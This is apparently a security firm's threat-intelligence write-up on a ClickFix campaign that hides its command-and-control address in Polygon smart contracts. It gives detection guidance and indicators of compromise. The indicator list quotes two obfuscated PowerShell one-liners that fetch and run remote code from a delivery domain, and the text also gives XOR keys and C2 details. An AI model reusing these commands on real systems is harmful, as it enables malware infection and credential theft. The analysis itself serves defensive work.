EtherHiding Exposed: Inside a Blockchain-powered Malware Campaign Hiding in Plain Sight
BLOG
15 min.
This is our deep dive into how we tracked cybercriminals using cryptocurrency infrastructure to build a bulletproof command-and-control network and how we unraveled it from both ends.
TL;DR – We identified a malware campaign, active since at least November 2025, that stores its command-and-control (C2) address inside smart contracts on the Polygon blockchain instead of hardcoding it into the malware itself, a technique known as EtherHiding.
- What began with the discovery of a smart contract as part of a Business Email Compromise investigation conducted by GuidePoint’s DFIR team, ultimately led to the operator’s wallet, the live C2 domain and a full reconstruction of the attack chain.
- Pivoting from one known contract to the attacker’s full wallet history, we uncovered 15 smart contracts deployed across six waves over seven months, three previously unreported C2 domains and a second operator wallet running 12 deliberately silent contracts built specifically to resist the search technique that had exposed the first one.
- We traced the full attack chain across at least 31 compromised legitimate business websites and confirmed the backdoor it deploys is general-purpose. In the field, we watched it install everything from a repackaged screen-recorder to a fake browser extension operating as a real-time banking trojan against a target list of roughly 479 financial and cryptocurrency domains.
We identified a campaign server not hidden behind Cloudflare, (onemm[.]net) which was susceptible to seven known exploited vulnerabilities.
As of this writing, one of the four original C2 domains have been taken down by the registrar, but hivinest[.]online, insinght[.]site, and 3262d48df5d75e34[.]shop remain active and several compromised sites are still confirmed serving the malicious script to visitors.
The Big Picture
This is the technical companion to our earlier post, EtherHiding Exposed: What Security Leaders Need to Know. In that post, we walked through what we first thought was a routine business email compromise investigation, but turned into a blockchain investigation. In this blog, we’ll review the attack chain we uncovered and provide context on why this technique and campaign proves harder to defend against than “traditional” phishing campaigns and C2 tactics.
This variant of a classic “FakeCaptcha” or “ClickFix” campaign has been active since late 2025 through at least August 2026. It uses smart contracts (small programs that live permanently on a cryptocurrency blockchain) as a dynamically updatable address book for C2 servers. Originally discovered in 2023, the technique, dubbed “EtherHiding,” represents an evolution in how attackers maintain persistent access to compromised machines. These attacks systematically update their C2 addresses for those compromised machines with minimal time, cost and effort. This campaign’s implementation, however, is unique in that it is using the Polygon blockchain rather than Binance.
This investigation began with the discovery of a smart contract as part of a Business Email Compromise (BEC) investigation conducted by GuidePoint’s DFIR team. We used this jumping-off point to search the blockchain for the associated wallet address, identified the smart contract used and identified the active C2 domain for reverse engineering of the threat actor’s attack chain. With this knowledge, we were able to extrapolate domain indicators and run DNS queries to identify alternate compromised lure sites. These data points informed the findings of this blog.
Our investigation uncovered at least 31 legitimate business websites across multiple countries and industries that had been compromised as part of this campaign, 15 smart contracts across six operational “waves,” and continuing communications with victim environments.
Why Does EtherHiding Use Blockchain?
Traditionally, malware hardcodes a domain name or IP address to contact for update or instructions. When defenders discover and block that address, the malware can no longer communicate and is rendered ineffective. The blockchain approach circumvents those traditional defenses.
In this campaign, the malware eschews hardcoding in favor of querying a smart contract on the Polygon blockchain. The query simply asks: “Where should I connect now?” This approach allows for variations in the C2 address, which can be updated for fractions of a cent. Associated infected machines will automatically follow the new instructions on their next check-in.
Here’s why this matters:
- Blockchain data is permanent and distributed across thousands of computers worldwide. The use of the blockchain eliminates dependence on a hosting company or individual server as a single point of failure for C2.
- One blockchain transaction can rotate every associated infected machine to a new server simultaneously, which reduces downtime for the threat actor and essentially nullifies the efficacy of reactive IP or domain blocking.
- When associated malware checks the blockchain for current C2 instructions, that read operation leaves a fingerprint on the blockchain registry, even if it’s indistinguishable from any other blockchain query. Importantly, if blockchain queries are anomalous to your environment, it can be used as an alert.
- Every time the attacker updates their smart contract (the address book), that change is recorded forever on a public ledger, which is exactly how we caught them.
As previously stated, this technique’s first documented criminal use was reported in September 2023 by Guard.io. By October 2025, North Korea’s UNC5342 adopted the approach. By March 2026, Iran-linked MuddyWater was using it, too. The campaign documented here represents its continued proliferation into the broader cybercriminal ecosystem and expansion to alternate blockchain providers.
What Does the EtherHiding Attack Chain Look Like?
We traced the full attack unfolding in stages, each one designed to evade a different layer of defense. Here’s how we watched a victim go from browsing a legitimate website to having a fully functional backdoor on their machine without clicking a single suspicious link.
There are two different strands of victims in this instance, the business whose site is compromised to display the FakeCaptcha/ClickFix lure and the individual who falls victim to the campaign. Typically, the compromise starts with the front-end business website, embedding malicious JavaScript embedded in the website’s source code. This usually happens on a large scale, whether by mass exploitation of a WordPress vulnerability or some other mechanism. This first step occurs prior to initiating the campaign, during the infrastructure setup.
The next step (Figure 1) is when an end-user falls victim to the FakeCaptcha/ClickFix lure after searching for and landing on a compromised site (in this case, exclusively via Bing or Google). Then, the JavaScript goes through a preliminary “gating” mechanism, which determines whether the victim gets to the next stage of the infection chain or not. If the victim does get through the gate, the “Human Verification” mechanism (or FakeCaptcha) appears as an overlay on the webpage that then produces the typical ClickFix lure (Windows+R, Ctrl+V, hit enter) which then initiates the malware dropper. This dropper contacts the staging site, which downloads and automatically executes two paired PowerShell scripts:
- A C2 agent that reaches out via Polygon blockchain queries to the smart contracts to identify the C2 server (EtherHiding)
- Another agent that installs the persistence mechanism in the form of a RegistryKey that survives reboot
Stage 1: The Watering Hole and Traffic Funnel (Fake Captcha Lure)
The infection starts with legitimate websites. We identified 31 legitimate businesses’ domains that have been compromised by an attacker who injected the webpages with short JavaScript scripts. When a visitor is directed to a compromised page from either Bing or Google search results, the hidden JavaScript code embedded in the compromised site executes in the background. The script calls out to a traffic-distribution network, a separate layer of infrastructure that acts as a broker. This layer uses a polling mechanism where the victim’s browser checks in for a “go” signal.
Two different mechanisms determine the “go” signal, depending on which generation of infrastructure a given visitor lands on. In the second generation, the gating logic is hardcoded in the broker’s own JavaScript. The first script checks a small marker in the browser’s cookies. If that marker is already set from an earlier visit, the script stops cold; it never requests the next stage. On a fresh visit, the redirect fires immediately. The marker only affects future visits from that same browser. To enforce that, the code separately lays an invisible click-catcher over the entire page; the first time the visitor clicks anywhere, a 30-second timer starts and once it fires, the marker gets set, excluding that browser from the chain on any later visit. In addition to this per-visit mechanism, the system also appears to have a time-box or percentage-based mechanism as well. To be infected, the victim needs to visit the infected site via the search engine while the secondary mechanism is online. Meaning, within the allotted timebox or percentage window. If a potential victim visits the impacted site outside of that window, they get the “marker” placed in the cookie until the cookies expire or are cleared.
This layer has also been rebranded more than once since first identified. The traffic funnel, in other words, is not one fixed pair of domains; it’s a role the operator keeps re-provisioning under new domain names while the older domains often stay live in parallel. This is an important discovery, as this novel traffic distribution system decides who gets infected and who doesn’t. We believe that this mechanism is put into place to reduce the pattern recognition, reporting numbers or speed of remediation for the impacted sites. It serves an additional function of reducing identification and therefore reducing researcher’s capability of analyzing the infection chain itself.
Stage 2: The CAPTCHA Lure and Persistence (Scheduled Task and Paired Drops)
Once the “go” signal is received, the victim lands on a fake CAPTCHA verification page, a ClickFix (also called FakeCaptcha) lure that instructs the victim to open a command prompt and paste malicious a command.
If the victim follows the FakeCaptch/ClickFix lure, the pasted command creates a Windows Scheduled Task named “Enter”. This task contains a PowerShell command that executes every 60 seconds until it is successful. Each time the task fires, it runs the command in a hidden window that attempts to fetch and execute a dropper script from the delivery domain. It’s worth noting that the code assigns a different domain every visit. Also, the specific path/token on that domain is single-use, typically expiring well within a day. These programmatic elements make domain-based blocking a losing game. They also mean that a captured delivery link cannot be saved or reused for later testing or re-obtaining the dropper script.
The matter of import here is that the initial dropper phase of the infection chain has built in persistence prior to the main payload delivery. The Scheduled Task with continually attempt to run the dropper script until it successfully fires. Additionally, the indicators of this Scheduled Task (namely that it is named “Enter”) can be used as an indicator or alerting mechanism for the infection chain.
Stage 3: Blockchain Lookup (Registry Persist and C2 Agent Runs)
The dropper writes two files to the victim’s /Temp/ folder that ensure persistence. If the dropper is removed from memory, it comes back within a minute.
The files are PowerShell scripts with random filenames that both automatically execute:
- The Persistence Script, which writes a registry key (PersonalizedUpdates) ensures the malware survives reboots. It then deletes the scheduled task to cover its tracks. The registry key becomes responsible for persistence after removal of the scheduled task.
- The C2 Agent, which is the main backdoor.
Before contacting its command server, the C2 Agent performs the EtherHiding step. The C2 Agent has a list of nine different hardcoded Polygon Remote Procedure Call (RPC) endpoints. The RPC endpoints are public gateways to the blockchain, which the C2 Agent cycles through on failure. This ensures resilience even if individual gateways go down. It sends a free, read-only query to a hardcoded Polygon smart contract using these RPC endpoints. The response is an encrypted string that, once decoded, reveals the current C2 domain. This is especially important for two reasons: if blockchain queries are not required during execution of business requirements, any and all RPC endpoints can be blocked and the C2 Agent will never be able to make contact with the smart contract and ultimately the C2. If you are a researcher, you can utilize the hardcoded smart contract to monitor for changes in the C2 domain and potentially any changes in the underlying Polygon infrastructure.
Stage 4: Command and Control (Blockchain Lookup and Results)
The functionality of the smart contract is to store the value of the C2 domain. Once the C2 Agent has received this value and decodes the C2 domain, the Agent connects to that URL. This traffic is encrypted using a custom XOR cipher (key: !sdf$&G321), applied bidirectionally. The encrypted beacon payload is carried in the HTTP Authorization header of each POST request, not the request body.
The C2 Agent also sends a unique victim identifier (derived from the machine’s Windows MachineGuid registry value, plus hostname and username) and waits for instructions from the C2 and/or the operator/threat actor. The C2 protocol supports two methods for arbitrary (remote) code execution from the C2 server itself:
- Type A: Spawns a new process to execute a PowerShell command
- Type B: Utilizes Invoke-Expression to execute a PowerShell command directly in the current process
The Infrastructure Behind the EtherHiding Investigation
In this attack, the TA used a combination of Polygon wallets to create the smart contracts used to store the value of the C2 domains. Blockchain analysis let us reconstruct how this infrastructure was built over seven months from two distinct operator wallets controlling this infrastructure to three smart contract templates and 15 smart contracts total. This infrastructure allowed the TA to rotate the C2 domains across all infected victim machines at the drop of a hat, without needing to alter the preceding stages in the infection chain. This means that the infection chain can persist beyond C2 server/domain takedowns by defenders.
The wallets deployed were identified in connection to campaign as follows:
- Wallet 1 (0xd802…826a): deployed 2 Template A contracts, both used for active C2 domain storage Wallet 2
- Wallet 2 (0x6a6e…dfde): deployed 13 contracts across all three templates, including the campaign’s very first deployment, a Template A contract from November 2, 2025. Only 1 of Wallet 2’s 13 contracts shares that original design; the remaining 12 use the two newer templates (B and C) covered below.
Neither wallet has ever moved a single unit of value to a third party across its entire on-chain history. Every transaction either deploys a contract or calls a function at zero value. These are infrastructure-control wallets, not financial pass-throughs; if this campaign is generating proceeds, they aren’t moving through either address.
The Three Smart Contract Templates
A template, in this context, is a reusable contract blueprint: the operator compiles one piece of code once, then deploys that identical bytecode multiple times, once per new C2 domain slot, rather than authoring a fresh contract from scratch each time. This investigation identified three such templates in use.
Template A emits blockchain ‘events’ when updated, log entries that are publicly searchable. This is what let us discover the campaign in the first place. One known contract led to a chain-wide search that found two more. Template B was deliberately designed to emit no events whatsoever. This is almost certainly an intentional counter-forensics measure. The operators learned or anticipated, that event-based searching could expose them and built a stealthier version. Template C stores raw encrypted bytes and has never been called since its one deployment transaction; its purpose remains unresolved.
The pivot worked in two stages, not one. First, because Template A’s writes are the only ones that emit a public event, sweeping the entire chain for that exact event signature — not searching for the domain string, which is encrypted and unsearchable — surfaced two more contracts we didn’t know existed, including one deployed by a second wallet. Second, pulling that second wallet’s complete transaction history, not just the transactions matching the pattern that had just worked, surfaced 12 more contracts using two entirely different, event-free designs. The topic sweep found the wallet; the full wallet pull is what found everything else.
Wave | Date | Contracts Deployed | Type |
|---|---|---|---|
A | November 2, 2025 | 1 | Template A (event-emitting) |
B | December 11, 2025 | 1 | Template A |
C | April 22, 2026 | 1 | Template A (primary active contract) |
D | May 5, 2026 | 10 | Template B (stealth, no events) |
E | May 7, 2026 | 1 | Template B |
F | May 14, 2026 | 1 | Template C (unknown purpose) |
The Domain Infrastructure
The blockchain pivot above surfaced three additional contracts beyond the one we started with, but their stored domain strings were still encrypted. Cracking them revealed the two .shop domains and insinght[.]site below.
C2 Domains (where infected machines report)
Domain | Status | Notes |
|---|---|---|
3262d48df5d75e34[.]shop/UpdateCheck/ | Currently active | We originally believed this was taken down after the registrar placed it on hold; a later live infection capture showed it still resolving and receiving real check-ins, confirming the operator never fully retired it |
ddcd62e16a428c8e[.]shop/UpdateCheck/ | Inactive | Registrar (Hostinger) placed on hold |
hivinest[.]online/UpdateCheck/ | Currently active | The initial, starting C2 identified in the initial forensics investigation. |
insinght[.]site/UpdateCheck/ | Currently Active | Identified via searching the blockchain for /UpdateCheck/ string. |
Since /UpdateCheck/ is a seemingly fixed indicator, we ran a second known-plaintext search anchored on the end of each string instead of the front. Because the three strings have different total lengths, the suffix attack landed on different absolute byte positions than the prefix attack did — together covering a gap-free window of 10 consecutive positions, with 17 overlapping positions where the front- and tail-derived bytes agreed exactly (zero conflicts).
Period recovery. Testing candidate key periods 1–40 against the combined position→byte map, period 10 was the minimal period consistent with everything — positions 0–7 matched positions 20–27 exactly, two full cycles later. With the period confirmed, all 10 byte positions (mod 10) had at least one directly recovered value, so the full key fell out with no guessing: $%)W$fgl34.
Notably, the operator appears to run multiple C2 domains in parallel rather than retiring old ones as new ones come online. We captured a live infection in a controlled sandbox in June 2026 checking in with 3262d48df5d75e34[.]shop, the campaign’s original, oldest known C2 domain, well after hivinest[.]online had become the more commonly observed address. Blocking any single domain in this campaign, even one long presumed dead, is not sufficient.
Delivery Domains (FakeCaptcha Lure Pages)
Domain | Registration Date |
|---|---|
45a3158594d6ba76[.]fun | April 21, 2026 |
82d35f9b891c987a[.]fun | April 21, 2026 |
9082b2a18f2e00fe[.]fun | April 21, 2026 |
67b3ac3e45812153[.]fun | April 21, 2026 |
truieparth[.]online | April 23, 2026 |
cleearpeyak[.]online | April 23, 2026 |
veruisuealx[.]xyz | June 26, 2026 |
folfdighdd[.]xyz | June 27, 2026 |
All eight confirmed delivery domains were registered through Hostinger. The first four domains were registered within minutes of each other, one day before the primary smart contract was deployed on chain. Two more domains followed two days later, on April 23; and two more appeared in late June. One domain from April 23, truieparth[.]online, sat registered for nearly four months before we observed its use in a live attack. That’s a reminder that a domain’s registration date and its activation date can be very different things and that “recently registered” is not a reliable signal for this operator’s infrastructure.
Supporting Infrastructure
We identified the full set of 31 compromised sites by pivoting from the confirmed infrastructure’s DNS resolution history and certificate-transparency logs, most were found only because they shared hosting or certificate patterns with a site we’d already confirmed.
The domain onemm[.]net is on a build/staging server. Unlike every other domain in this campaign, it’s not hidden behind Cloudflare, exposing its actual server IP (37.27.52[.]152). We later observed a live infection chain fetching a build directly from this server during an actual check-in, confirming it as an active part of the delivery pipeline rather than a domain sitting idle in the background.
A follow-up infrastructure scan of that same origin IP found something the attacker likely never intended to expose: the server itself is running seven vulnerabilities that CISA’s Known Exploited Vulnerabilities catalog confirms are being actively exploited in the wild, including CVE-2023-4911 (“Looney Tunables,” a glibc privilege-escalation flaw), CVE-2023-0386 (an OverlayFS privilege escalation) and CVE-2023-44487 (the HTTP/2 “Rapid Reset” denial-of-service flaw).
A direct banner check confirmed the server is running OpenSSH_10.2p1 Ubuntu-2ubuntu3.5, which also appears on the broader (non-KEV) vulnerability list alongside “regreSSHion” (CVE-2024-6387), an unauthenticated remote-code-execution flaw in OpenSSH itself. In other words, the one server in this campaign that isn’t hidden behind Cloudflare is also the one running outdated, exploitable software, a genuine, actionable weak point in the attacker’s own operation, not just an interesting IOC.
additionalver.com and promo-chatgpt.com serve as the traffic-distribution layer that funnels victims from compromised sites into the attack chain. These appear to be shared criminal services, not exclusively owned by this campaign.
What Can We Expect of EtherHiding Going Forward?
EtherHiding isn’t going away. First seen in criminal hands in 2023, adopted by North Korean state actors by late 2025 and now proliferating into broader cybercrime, the technique exploits a fundamental property of blockchain technology: permanence and censorship resistance were designed as features, not bugs.
The defenders’ advantage is equally fundamental: writes are permanent and public. Every time an attacker updates their C2 address, that change is recorded forever on a ledger anyone can read. The same property that makes the infrastructure bulletproof also makes it perfectly auditable.
This investigation showed us that a single known contract address, combined with the right methodology, can unravel an entire campaign’s infrastructure, contracts, wallets, domains, timelines and operational patterns, using public blockchain data. The attacker’s operational security (OpSec) advantage, immutable storage, comes with an OpSec cost: permanent, public evidence of every operational decision they’ve ever made.
As of this writing, hivinest[.]online, insinght[.]site and 3262d48df5d75e34[.]shop all remain active. Several compromised websites are still confirmed injecting visitors, though the picture is mixed: one law firm’s site, first identified as compromised, was found fully cleaned up on a later check, while others checked around the same time were still actively serving the malicious script, unchanged, days later. The pattern holds in the other direction too: at least one site we believed cleaned up earlier in the investigation was later found compromised again, evidence that this is an ongoing back-and-forth rather than a one-time cleanup.
The threat has also escalated since we first identified this campaign. What began as a general-purpose remote-access backdoor has since been observed delivering a real-time banking trojan capable of intercepting login credentials and two-factor codes from major banks and cryptocurrency exchanges as victims type them. And in an ironic twist, the attacker’s own infrastructure isn’t invulnerable either: the build server behind onemm[.]net was running seven vulnerabilities that are themselves being actively exploited in the wild elsewhere on the internet. The 12 Template B/C contracts, deliberately designed to resist the exact enumeration technique that exposed Template A, remain the one piece of this campaign’s infrastructure whose full purpose we still haven’t determined.
But the playbook for finding and tracking this kind of campaign now exists. Unlike the attacker’s infrastructure, that knowledge can’t be rotated away with a single transaction. As always, if exploitation indicators are found, engage the GuidePoint DFIR team immediately. Organizations with positive detection hits should treat the environment as potentially compromised and initiate formal incident response procedures.
What Defenders Should Know
Detection Opportunities
- Alert on the value name PersonalizedUpdates under HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
- Alert on task name “Enter” with a 1-minute cadence or schtasks.exe /create with arguments containing iex(irm or Invoke-RestMethod
- Paired .ps1 files appearing at ~1-minute intervals in user Temp directories
- Alert on outbound connections to Polygon RPC endpoints (e.g., polygon-bor-rpc.publicnode.com) combined with .fun / .shop domain lookups
- Alert on any processes reading HKLM:\SOFTWARE\Microsoft\Cryptography\MachineGuid in combination with any of the above indicators
- After the scheduled task establishes persistence, we found the live backdoor’s own check-in rhythm settles into an alternating pattern, roughly every 6 seconds then every 14 seconds, distinct from the scheduled task’s flat 1-minute registration interval. This secondary rhythm can help distinguish an already-persistent infection from the initial drop.
- Any outbound WebSocket connection carrying an Origin: chrome-extension:// header is inherently worth investigating, independent of the destination domain, since legitimate sites never generate this header themselves
- Enterprise policies that restrict installation of unapproved browser extensions or that alert on new Chrome Native Messaging host registrations (HKCU\Software\Google\Chrome\NativeMessagingHosts), should catch this specific payload regardless of which delivery domain or C2 address is active that day
- If blockchain queries are not required during execution of business requirements, any and all RPC endpoints can be blocked or alerting can be implemented to identify any potential queries made to the blockchain for smart contract data.
Why Traditional Blocking Falls Short
Domain blocking is a reactive defensive measure. The attacker can rotate C2 domains via a single blockchain transaction and every infected machine follows automatically, thereby making this a losing battle. Delivery domains are per-session, so blocking one .fun domain does nothing to prevent the next visit from receiving a different one. The blockchain can’t be taken down. The smart contracts will exist on Polygon permanently. The monitoring script we built during this investigation catches rotations automatically, but it cannot prevent them.
Recommendations
Taken together, the findings above point to a small set of concrete actions that matter more than any single indicator in the appendix below.
For Security Teams
- Add blockchain monitoring to the standard C2-tracking toolkit. If a future investigation identifies a smart-contract address tied to malware infrastructure, querying that contract’s full on-chain history costs nothing and can surface every historical C2 address change, exactly as it did here.
- Hunt for the behavioral chain, not the domains. Because every domain in this campaign is disposable, an endpoint detection rule built around the sequence (scheduled task named “Enter” → PowerShell → outbound Polygon RPC call → unknown domain check-in) will keep catching this campaign long after any specific domain list goes stale.
- Escalate any confirmed browser-extension delivery immediately. Given the demonstrated banking-trojan capability, a confirmed installation of this extension should be treated as a potential credential-compromise incident. In essence, assume any banking or exchange credentials entered on the affected machine afterward are potentially compromised, not just the machine itself.
- File abuse reports with registrars, not just hosting providers. Hostinger acted on two of the three original C2 domains in this campaign after an apparent abuse report, faster than any technical takedown effort managed. Registrar reporting is a comparatively fast, low-effort action worth taking in parallel with technical remediation, not in lieu of it.
- Pair domain abuse reports with vulnerability disclosure to the hosting provider. Where infrastructure sits on a dedicated server rather than shared CDN edge (as with onemm.net‘s origin IP here), a routine infrastructure scan can surface independently verifiable, actively exploited vulnerabilities on that same box. This is evidence a hosting provider’s own abuse team can act on immediately, in addition to, not instead of, a malware-focused takedown request.
Diamond Model and MITRE ATT&CK Mapping
Diamond Model of Intrusion Analysis example
TTP Chart (MITRE ATT&CK mapping)
Phase | Tactic | Technique | ID | Evidence |
|---|---|---|---|---|
Staging | Resource Development | Acquire Infrastructure: Domains | T1583.001 | Batch Hostinger registrations, same-day clusters |
Staging | Resource Development | Acquire Infrastructure: Server | T1583.004 | onemm.net on Hetzner |
Staging | Resource Development | Compromise Infrastructure: Domain | T1584.001 | Aged/drop-catch domain reuse (onemm.net) |
Initial Access | Initial Access | Drive-by Compromise | T1189 | Ad-injection on compromised legitimate sites |
Initial Access | Resource Development | Stage Capabilities: Drive-by Target | T1608.004 | Injected redirect snippet |
Delivery | Defense Evasion | Obfuscated Files or Information | T1027 | ClickFix clipboard obfuscation, per-build PS obfuscation |
Execution | Execution | User Execution: Malicious File/Command | T1204.002 | ClickFix paste-and-run into Run dialog |
Execution | Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | Confirmed directly in source (File 20) |
Execution | Execution | Ingress Tool Transfer | T1105 | irm/iwr fetch of paired .ps1 scripts |
Persistence | Persistence | Scheduled Task/Job: Scheduled Task | T1053.005 | Task "Enter", 1-min, self-unregistering |
Persistence | Persistence | Boot or Logon Autostart: Registry Run Keys | T1547.001 | HKCU...\Run\PersonalizedUpdates |
Discovery | Discovery | System Information Discovery | T1082 | MachineGuid read for victim fingerprinting |
Defense Evasion | Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | XOR decrypt of C2 responses at runtime |
Defense Evasion | Defense Evasion | Hidden Window | T1564.003 | Confirmed via any.run behavioral tagging (Files 17/18) |
C2 | Command and Control | Web Service: Bidirectional Communication | T1102.002* | eth_call read from Polygon contract for C2 address resolution |
C2 | Command and Control | Dynamic Resolution | T1568 | Contract-based C2 address rotation, resilient to domain takedown |
C2 | Command and Control | Encrypted Channel: Symmetric Cryptography | T1573.001 | Repeating-key XOR (-bor/-band/-bnot) on all C2 traffic |
C2 | Command and Control | Non-Standard Encoding | T1132.002 | Hex→base64 transform pipeline before XOR |
C2 | Command and Control | Fallback Channels | T1008 | 9-endpoint RPC retry list |
Execution (backdoor) | Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | .a subprocess spawn / .b in-process Invoke-Expression |
C2 | Command and Control | Ingress Tool Transfer | T1105 | Fileside PUP, browser extension delivery |
Collection | Collection | Browser Extensions | T1176 | "All Max Sync"/"Fast Go Hub" (same ext ID, 2 display names) |
Collection | Collection | Input Capture: Keylogging | T1056.001 | Confirmed log_passwords: true |
Collection | Collection | Screen Capture | T1113 | 30s periodic screenshots |
Collection | Collection | Video Capture | T1125 | Up to 300s, event-triggered |
Collection | Collection | Credentials from Password Stores | T1555 | Wallet/password-manager targeting (133 rules) |
Collection | Collection | Data from Local System | T1005 | Cookie/history/bookmark/software-inventory bulk exfil |
Collection | Collection | Man in the Browser | T1185 | Web-inject panels vs. 7+ bank/exchange targets, 479-domain scope |
Exfiltration | Exfiltration | Exfiltration Over C2 Channel | T1041 | Encrypted result staged for next check-in |
C2 (extension) | Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | WebSocket to 90happymoney.top:3001/ws |
Indicators of Compromise
Domains
Primary Contract (0xde2d34339c…) C2 Infrastructure
3262d48df5d75e34[.]shop
ddcd62e16a428c8e[.]shop
hivinest[.]online
Sibling contract (0xa982e044…) C2 Infrastructure
Dsgnfwd[.]xyz
Hubcreative[.]shop
Insinght[.]site
Delivery Domains
45a3158594d6ba76[.]fun
82d35f9b891c987a[.]fun
9082b2a18f2e00fe[.]fun
67b3ac3e45812153[.]fun
Folfdighdd[.]xyz
Cleearpeyak[.]online
Supporting Infrastructure
onemm[.]net (build/staging; origin IP: 37.27.52[.]152)
Additionalver[.]com (traffic distribution)
promo-chatgpt[.]com (traffic distribution)
pleasewaitcenter[.]top (traffic distribution)
skaybolt[.]online (traffic distribution)
lanhd6549tdhse[.]top (traffic distribution)
Browser-Extension Web-Inject Panels
Purplepencel[.]online (banking/crypto web-inject config panel)
Detsigen[.]site (banking/crypto web-inject config panel)
Blockchain (Polygon)
Operator Wallets
0xd802C9427ce416B9DAb2db5aDD76EfAA6d9d826a
0x6a6e177dcf992ac16f7367c14b26a3cf4775dfde
Primary Smart Contract
0xde2d34339c279a7a79bc4fc1c4f37d3c055211b7
Additional Contracts
0xa982e044217b6bbaa7b3123b670c1c0ca1138a37 (sibling contract, Wallet 1)
0x308e9ecc849533a042f13fd77e5c82ec3c62e9f2 (first of 13 contracts deployed by Wallet 2)
Event Topic (for monitoring)
0x868f5f914e26b486c50b15494d56c6b2f2f17f6514343909bd36a034c19452cc
Polygon RPC Endpoints
- polygon-bor-rpc.publicnode.com
- polygon.publicnode.com
- polygon.gateway.tenderly.co
- gateway.tenderly.co/public/polygon
- 1rpc.io/matic
- polygon.api.onfinality.io/public
- polygon.rpc.subquery.network/public
- polygon.drpc.org
- polygon.lava.build
Host-Based
Registry value: PersonalizedUpdates (under HKCU:\…\Run)
Malicious browser extension ID: bpknfkhjjbjgagobdaekmnlgdhbbpcea
Native messaging host name: com.top.index
ClickFix invocation, variant 1: $a=”1i1e1x2i1r1m1″ -replace 1 -split 2;&$a[0](&$a[1]<delivery-domain>/<token>); used with veruisuealx[.]xyz
ClickFix invocation, variant 2: $a=irm <delivery-domain>/<token>;[System.Management.Automation.PowerShell]::Create().AddScript($a).Invoke() used with truieparth[.]online
File Hashes (SHA-256)
Hash | Description |
|---|---|
03A1D2ECA771A276AC9C29A4BF219D31BEB20848998CACDA8B06375BD2795B10 | C2 agent |
5ac6a2b0d20c5508027e6fde6503a5e0105be59f2a57e6659caa14e4ac0d5939 | C2 agent variant |
67427f232762fe32afab1d0d14b1d6e7f7920f5b151e133fb68c9dfc333ec69a | Persistence script |
10ab0f8ee0829fb24bf2c915f5bb0f35a2d84ed1d69049d42ca32cfa36250c11 | C2 agent (sample 4) |
cf176cf0ff50c74f08f127ef3b09be63a6f9e3ad69fa48233d4c805898368b2a | C2 agent (sample 5) |
06990ee09a29d2cdde32cb639d50e6c1e078da96a7bdabd03a68a0bb209d07b1 | Persistence script (sample 4) |
00810c2e0ad5031b9fe5d2cfb4a6fb45a1c424d6b92be7ba3b1aaa7c55b10f8e | Persistence script (sample 5) |
Jean-Pierre Mouton is a Consultant and GuidePoint University Fellow on GuidePoint Security’s Research and Intelligence Team (GRIT), where he engages in incident response investigations and threat intelligence research on behalf of the firm and its clients. His career background includes strategic and tactical intelligence analysis, technical subject matter expertise and intelligence program management in the Department of Defense and the United States Navy.